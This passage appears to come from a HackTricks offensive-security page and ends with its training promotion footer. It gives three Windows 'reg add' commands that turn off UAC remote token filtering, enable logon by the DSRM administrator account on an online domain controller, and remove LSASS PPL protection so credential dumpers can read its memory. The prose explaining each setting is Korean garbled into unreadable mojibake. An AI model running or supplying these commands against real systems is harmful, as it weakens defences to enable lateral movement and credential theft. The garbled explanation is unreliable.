reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
DisableRestrictedAdmin=1์ค์ ์ RDP ๋์ ์๊ฒฉ์ฆ๋ช /ํฐ์ผ์ ์ ์ฒด ์ฌ์ฌ์ฉ์ ๊ฐ์ ํ์ฌ pass-the-hash ์คํ์ผ์ pivots๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.LocalAccountTokenFilterPolicy=1์ UAC token filtering์ ๋นํ์ฑํํ์ฌ local admins๊ฐ ๋คํธ์ํฌ๋ฅผ ํตํด ์ ํ ์๋ ํ ํฐ์ ํ๋ํ ์ ์๊ฒ ํฉ๋๋ค.DSRMAdminLogonBehavior=2๋ DC๊ฐ ์จ๋ผ์ธ์ผ ๋ DSRM administrator๊ฐ ๋ก๊ทธ์จํ ์ ์๊ฒ ํ๋ฉฐ, attackers์๊ฒ ๋ ๋ค๋ฅธ ๋ด์ฅ ๊ณ ๊ถํ ๊ณ์ ์ ์ ๊ณตํฉ๋๋ค.RunAsPPL=0์ LSASS PPL ๋ณดํธ๋ฅผ ์ ๊ฑฐํ์ฌ LalsDumper์ ๊ฐ์ dumpers๊ฐ ๋ฉ๋ชจ๋ฆฌ ์ ๊ทผ์ ๋งค์ฐ ์ฝ๊ฒ ํ ์ ์๊ฒ ํฉ๋๋ค.
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


